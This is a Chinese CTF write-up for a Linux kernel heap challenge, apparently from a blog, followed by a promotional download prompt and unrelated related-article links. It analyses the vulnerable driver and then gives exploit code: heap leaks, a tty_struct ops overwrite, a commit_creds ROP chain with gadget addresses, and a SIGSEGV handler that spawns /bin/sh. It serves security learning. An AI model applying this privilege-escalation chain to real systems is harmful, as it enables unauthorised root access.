CTF解析

  • 0x0 保护
  • 0x1 源码分析
  • 0x2 漏洞点
  • 0x3 利用思路
  • 0x4 Exploit

0x0 保护

#!/bin/shqemu-system-x86_64 \-m 512M \-kernel bzImage \-nographic \-smp 1 \-cpu kvm64,+smep,+smap \-append "console=ttyS0 quiet kaslr" \-initrd rootfs.cpio \-monitor /dev/null \--no-reboot \-s

开启的保护:

SMEP SMAP KPTI

0x1 源码分析

file_operations可以看出这是一个内核下的菜单题目,提供add、delete、show、append功能。

static const struct file_operations file_ops = {.owner = THIS_MODULE,.unlocked_ioctl = handle_ioctl,
};static long handle_ioctl(struct file *f, unsigned int cmd, unsigned long arg){long ret;req* args = kmalloc(sizeof(req), GFP_KERNEL);copy_from_user(args, arg, sizeof(req));if (cmd == 0x13371){ret = create(args);}else if (cmd == 0x13372){ret = delete(args);}else if (cmd == 0x13373){ret = show(args);}else if (cmd == 0x13374){ret = append(args);}else{ret = -EINVAL;}return ret;
}

关于create函数:限制申请0 - 1024大小的堆块,会先通过read_contents申请一个大小content_length临时堆块,用来存放用户输入的内容,然后再申请size大小的堆块来存入临时堆块的内容,并把地址放到nuts数组里。但是如果content_length设置为为0,就会只申请size的堆块,不会申请临时堆块,这一点可以用于泄漏信息。

static int create(req* arg){int size = read_size(arg);char* contents = read_contents(arg);int i;for (i = 0; i < 10; i++){if (nuts[i].contents == NULL){break;}}if (i == 10){printk(KERN_INFO "creation error");return -EINVAL;}if (size < 0 || size >= 1024){printk(KERN_INFO "bad size");return -EINVAL;}nuts[i].size = size;nuts[i].contents = kmalloc(size, GFP_KERNEL);if (contents != 0){memcpy_safe(nuts[i].contents, contents, size);  //size > length , read heap overflow.kfree(contents);}else {printk("bad content length!");return -EINVAL;}return 0;
}// Return a content ptr which will be alloced in kernel.
static char* read_contents(req* arg){char* to_read = (char*) arg->contents;int content_length = arg->content_length;if (content_length <= 0){printk(KERN_INFO "bad content length");return 0;}char* res = kmalloc(content_length, GFP_KERNEL);copy_from_user(res, to_read, content_length);return res;
}

关于delete函数:没啥可说的。只是kfree指定堆块,并清空nuts数组在此处的信息。

static int delete(req* arg){int idx = read_idx(arg);if (idx < 0 || idx >= 10){return -EINVAL;}if (nuts[idx].contents == NULL){return -EINVAL;}printk(KERN_INFO "deleting at 0x%px", nuts[idx].contents);kfree(nuts[idx].contents);nuts[idx].contents = NULL;nuts[idx].size = 0;return 0;
}

关于show函数:输出nuts数组内指定堆块的信息。

static int show(req* arg){int idx = read_idx(arg);if (idx < 0 || idx >= 10){return -EINVAL;}if (nuts[idx].contents == NULL){return -EINVAL;}copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);return 0;
}

关于append函数:用户提供的size加上nuts数组上指定堆块的size成为新的size,申请新的堆块先存放旧堆块的内容,然后再在之后填入新的内容。kfree掉旧的堆块,更新nuts数组。

static int append(req* arg){int idx = read_idx(arg);if (idx < 0 || idx >= 10){return -EINVAL;}if (nuts[idx].contents == NULL){return -EINVAL;}int new_size = read_size(arg) + nuts[idx].size;if (new_size < 0 || new_size >= 1024){printk(KERN_INFO "bad new size!\n");return -EINVAL;}char* tmp = kmalloc(new_size, GFP_KERNEL);memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);kfree(nuts[idx].contents);char* appended = read_contents(arg);if (appended != 0){memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);kfree(appended);}nuts[idx].contents = tmp;nuts[idx].size = new_size;return 0;
}

0x2 漏洞点

漏洞点有两个地方:

  • create的时候,如果size > length会造成越界读。
  • append 如果使arg中设置的size > 1024 会被返回-EOVERFLOW ,在IDA上看到是-75,可以利用这个来越界写堆,造成堆溢出。

0x3 利用思路

  • 泄漏内核基地址:通过subprocess_info结构体可以在kmalloc-128的堆块里存入一个可以泄漏内核基地址的地址call_usermodehelper_exec_work,然后通过越界读来读取,利用代码如下:

        create(0x60, buf, 0x60); // nut[0]create(0x60, buf, 0);    // nut[1]socket(22, AF_INET, 0);        // 申请`subprocess_info`delete (1);delete (0);create(0x100, buf, 0x60); // nut[0]memset(buf, 0, sizeof(buf));show(0, buf);printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]);kernbase = buf[15];
  • 泄漏需要利用的堆块的地址(之后会利用tty_struct来ROP。)就是类似打fastbin的思路来泄漏kmalloc-1024的堆块地址,因为tty_struct会使用kmalloc-1024的堆块。

        memset(buf, 0, sizeof(buf));create(1023, buf, 1023); // nut[1]create(1023, buf, 1023); // nut[2]delete (2);create(1023, buf, 0); // nut[2]show(2, buf);heapbase = buf[64];printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]);int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请tty_struct
  • 利用越界写来改写堆块的next指针,来申请想要利用的堆块。这里申请了两次tty_struct所在的堆块,一次用来把tty_struct的内容留存下来,方便之后覆盖的时候减少修改其中内容,一次用来将修改数据之后覆盖tty_struct。修改的是onst struct tty_operations *ops指针为我们可控的内核堆,来作为我们劫持RIP的地方,和ROP栈迁移的栈,这个结构体内有很多函数指针,我在下文会附上其内容。

            memset(buf, 0, sizeof(buf));create(0x80, buf, 0x80); // nut[3]create(0x80, buf, 0x80); // nut[4]buf[0x18] = heapbase;create(0x80 + 75, buf, 0x80 + 75); // nut[5]delete (4);delete (3);append(5, 0x500, buf);create(0x80, buf, 0); // nut[3]create(0x80, buf, 0); // nut[4] => tty_structshow(4, buf);create(64, tmp, 64); // nut[6]create(64, tmp, 64); // nut[7]for (int i = 0; i < 13; i++)tmp[i] = heapbase;create(64 + 75, tmp, 64 + 75); // but[8]delete (7);delete (6);append(8, 0x500, tmp);buf[1] = calc(0xffffffff814236d7);   // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;buf[3] = heapbase + 0x400;create(64, buf, 64); // nut[6] => tty_struct
    // struct tty_operations
    struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver,struct file *filp, int idx);int  (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int  (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int  (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);int  (*write_room)(struct tty_struct *tty);int  (*chars_in_buffer)(struct tty_struct *tty);int  (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);void (*set_termios)(struct tty_struct *tty, struct ktermios * old);void (*throttle)(struct tty_struct * tty);void (*unthrottle)(struct tty_struct * tty);void (*stop)(struct tty_struct *tty);void (*start)(struct tty_struct *tty);void (*hangup)(struct tty_struct *tty);int (*break_ctl)(struct tty_struct *tty, int state);void (*flush_buffer)(struct tty_struct *tty);void (*set_ldisc)(struct tty_struct *tty);void (*wait_until_sent)(struct tty_struct *tty, int timeout);void (*send_xchar)(struct tty_struct *tty, char ch);int (*tiocmget)(struct tty_struct *tty);int (*tiocmset)(struct tty_struct *tty,unsigned int set, unsigned int clear);int (*resize)(struct tty_struct *tty, struct winsize *ws);int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);int (*get_icount)(struct tty_struct *tty,struct serial_icounter_struct *icount);void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLLint (*poll_init)(struct tty_driver *driver, int line, char *options);int (*poll_get_char)(struct tty_driver *driver, int line);void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endifint (*proc_show)(struct seq_file *, void *);
    } __randomize_layout
  • 最后写入ROP到堆内,并通过ioctl来触发ROP。

        delete (2);delete (1);memset(buf, 0, sizeof(buf));// for(int i = 0; i < 20; i++)//     buf[i] = 0xdeadbeaf;buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret  ;buf[1] = 0;buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_credbuf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;buf[4] = 0;buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_credsbuf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;buf[8] = 0;buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;buf[10] = 0;buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret;buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;buf[14] = 0;buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret;buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret;buf[17] = &pop_shell;buf[18] = user_cs;buf[19] = user_rflags;buf[20] = user_sp;buf[21] = user_ss;create(1023, buf, 1023);printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));puts("[*] ROPing");ioctl(victim, buf, heapbase + 0x400);

    ROP内需要注意的是,先commit_creds(prepare_kernel_cred(0)),然后ret2usr

    但是实际上由于KPTI的原因,在iretq的时候会发生分段错误,发出SIGSEGV信号,不关闭KPTI的话,实际上并不能提权成功,在之前看过一个师傅的帖子,记不清楚链接了,但是这里有个很简单的处理方法:信号可以由用户态捕获并处理,而处理的部分我们自定义一个pop_shell函数即可弹出shell。

    signal(SIGSEGV, pop_shell);void pop_shell(void)
    {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
    }
  • 其实还有一种使用Userfaultfd的思路,可以看下Reference里的链接,smallkirby师傅写的思路。

0x4 Exploit

Mech0n/UnionCTF-nutty.c

【CTF资料领取】

【CTF资料领取】

最后,我是一名安全渗透工程师,希望本文对CTF感兴趣的伙伴们有所帮助,还有更多网络安全学习视频、工具包、逆向、应急响应等架构技术需要的点此下载
感谢大家阅读,喜欢的记得一键三连~

神来之笔,2021CTF内核漏洞精选解析相关推荐

  1. 【转载】linux2.6内核initrd机制解析

    题记 很久之前就分析过这部分内容,但是那个时候不够深入,姑且知道这么个东西存在,到底怎么用,来龙去脉咋回事就不知道了.前段时间工作上遇到了一个initrd的问题,没办法只能再去研究研究,还好,有点眉目 ...

  2. android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...

    [技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...

  3. linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)

    使第二次循环中的fget()返回NULL 到目前为止,在用户态下满足了触发漏洞的三个条件之一.TODO: 使netlink_attachskb()返回1 [DONE]exp线程解除阻塞 使第二次fge ...

  4. linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2

    前言 在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr.在本文中,我们将逐步启用更多的安全防御机制,即SMEP.KPTI和SMA ...

  5. Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

    摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...

  6. Linux 内核漏洞暴露栈内存,造成数据泄露

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 思科 Talos 团队最近在 Linux 内核中发现了一个信息泄露漏洞 (CVE-2020-28588). Linux 内核是类 Unix ...

  7. 三个已存在15年的 Linux 内核漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Linux 内核的 iSCSI 子系统中存在三个漏洞,可导致具有普通用户权限的本地攻击者获得未修复 Linux 系统的 root 权限 ...

  8. 详述欺骗性断言如何引发严重的 Windows 内核漏洞 (CVE-2020-0792)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 2019年11月,微软发布软件更新,其中对 Windows 内核驱动 win32kfull.sys 的一个小的代码修改引发了一个严重漏 ...

  9. Pwn2Own 2020 曝出的Linux 内核漏洞已修复

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 周二,ZDI 发布安全公告称, Pwn2Own 2020 黑客大赛上被用于在 Ubuntu Desktop上将权限提升至 root 的 ...

  10. 异域linux内核漏洞,Linux内核再现漏洞!这次11年后才发现

    原标题:Linux内核再现漏洞!这次11年后才发现 还记得上一次Linux内核出现大的漏洞是什么时候吗?2009年Linux内核出现严重安全漏洞,直到2014年才被发现,这个严重安全漏洞整整存在了5年 ...

最新文章

  1. python中tensor与variable_NLP实战篇之tf2中tensor、variable、gradient、ops
  2. centos7 harbor 单机搭建
  3. redis探秘:选择合适的数据结构,减少80%的内存占用,这些点你get到了吗?
  4. QString中包含中文的时候, 转为char *
  5. js一个按钮弹出两个按钮_车内常见按钮,你却一个不认识?一分钟带你认识车内常见按钮...
  6. Mysql 加锁防并发
  7. 构建python应用_构建天气应用
  8. 移动平台深度神经网络实战
  9. React-Native的TextInput组件的设置以及获取输入框的内容
  10. 傅里叶变换滤波之生物信号滤波(笔记03)
  11. 《游戏改变企业》一一第 2 章 实时的经济信息反馈(为什么游戏很重要) 游戏改变企业...
  12. 复盘-对过去的事情做思维演练
  13. linux系统无法复制文件夹,linux 电脑之间复制文件、文件夹命令
  14. 【高级持续性威胁追踪】SolarWinds供应链攻击持续跟踪进展
  15. android+ios+账号互通,ios和安卓游戏账号能互通吗?
  16. 微软75亿美元收购ZeniMax及其旗下工作室;KPS同意21亿美元收购Garrett全部资产 | 美通企业日报...
  17. PDF图标异常的解决方法
  18. 88 Three.js 导入FBX格式骨骼绑定模型
  19. 用一部极客电影让你感受互联网科技的潜力
  20. 三维目标检测---PartA2论文解读

热门文章

  1. 十大流行开源软件推荐
  2. linux 内核空间与用户空间通信,liunx用户空间和内核空间之间的通信实现(在PPC下的实现)...
  3. 大数据到底怎么学:数据科学概论与大数据学习误区
  4. 智能证件录入系统——电子护照阅读器
  5. MyBatis-Ext,方便易用的MyBatis增强扩展
  6. android 实现果冻动画效果,Android果冻效果(阻尼动画)
  7. 浪潮服务器插独立显卡不能进入系统,求助求助,浪潮x79主板开启above 4g无法进系统...
  8. Week 8 CSP M2 HRZ学英语
  9. 跳马问题C++递归调用
  10. Pandas[加深学习]01-pandas基本数据结构